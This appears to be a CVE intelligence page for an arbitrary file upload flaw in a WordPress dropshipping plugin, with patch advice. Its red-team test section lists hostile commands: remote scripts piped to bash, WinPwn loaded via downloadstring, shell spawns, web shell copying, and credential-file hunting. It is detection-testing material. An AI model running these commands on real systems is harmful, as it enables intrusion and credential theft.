CVE-2024-2381
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient file type validation in the ajax_save_image function of the ali2woo AliExpress Dropshipping Lite plugin for WordPress. The root cause lies in the failure to properly sanitize or restrict uploaded file types, allowing malicious files to be stored on the server. The affected component is the image upload handler within the WooCommerceProductEditController class in versions up to and including 3.3.5 of the plugin.
Vulnerability Description
The AliExpress Dropshipping with AliNext Lite plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the ajax_save_image function in all versions up to, and including, 3.3.5. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with at least subscriber-level authentication can upload arbitrary files to the web server, which may be executed remotely, leading to full compromise of the affected site. This includes unauthorized code execution, data manipulation, or persistent backdoor installation. The vulnerability requires authenticated access (PR:L) but no user interaction (UI:N) and is exploitable over the network (AV:N) with low attack complexity (AC:L). The impact affects confidentiality, integrity, and availability (C:H/I:H/A:H) of the WordPress site hosting the plugin.
Solution
Upgrade the ali2woo AliExpress Dropshipping Lite plugin to a version later than 3.3.5 where the ajax_save_image function includes proper file type validation. Refer to the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/c3248327-6e10-420e-83cf-a23296eb2e6f for detailed patch instructions and verify that the WooCommerceProductEditController.php file matches the secure changeset 3107543. Applying this update will mitigate the arbitrary file upload vulnerability by enforcing file type restrictions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the AliExpress Dropshipping with AliNext Lite plugin for WordPress stems from inadequate file type validation within the ajax_save_image function. This oversight allows authenticated users, even those with minimal privileges such as subscriber-level access, to upload arbitrary files to the server. The lack of stringent checks on file types means that an attacker can exploit this weakness to upload malicious scripts or executables, potentially leading to remote code execution. This vulnerability is particularly concerning as it opens a pathway for attackers to manipulate the server environment, compromise sensitive data, or disrupt services.
Exploitation of this vulnerability can occur through several attack vectors. An authenticated attacker could leverage the ajax_save_image function to upload a malicious file disguised as a legitimate image. Once uploaded, the attacker can execute the file, gaining control over the server. This scenario could unfold in various ways; for instance, an attacker might use the uploaded file to deploy web shells, facilitating further exploitation of the server. Additionally, the attacker could escalate privileges, access sensitive information, or pivot to other parts of the network, amplifying the impact of the initial breach.
The real-world implications of this vulnerability are significant, particularly for businesses relying on the affected plugin. The potential for remote code execution poses a severe risk to the integrity and confidentiality of business operations. If exploited, an attacker could compromise customer data, leading to data breaches that not only harm the organization's reputation but also expose it to legal liabilities and regulatory penalties. Furthermore, the operational disruption caused by such an attack could result in financial losses, loss of customer trust, and long-term damage to brand equity. The risk is exacerbated for e-commerce platforms, where trust and security are paramount to customer retention and sales.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and code reviews can help identify weaknesses in plugins and themes. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the server. Furthermore, it is crucial to keep all software, including plugins and themes, up to date to ensure that any known vulnerabilities are patched. Organizations should also consider restricting file upload capabilities to only trusted users and implementing strict file type validation to prevent unauthorized file types from being uploaded.
In conclusion, the vulnerability in the AliExpress Dropshipping with AliNext Lite plugin highlights the critical importance of robust security practices in web applications. The potential for arbitrary file uploads leading to remote code execution poses a serious threat to both the security of the server and the integrity of the data it houses. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to defend against such vulnerabilities. Proactive detection and mitigation strategies are essential to safeguarding against exploitation and ensuring the resilience of business operations in an increasingly complex threat landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ali2woo | Aliexpress Dropshipping With Alinext | All |
cpe:2.3:a:ali2woo:aliexpress_dropshipping_with_alinext:*:*:*:*:lite:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-2381 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/c3248327-6e10-420e-83cf-a23296eb2e6f?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/ali2woo-lite/trunk//includes/classes/controller/WooCommerceProductEditController.php#L108 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3107543/ali2woo-lite/trunk/includes/classes/controller/WooCommerceProductEditController.php |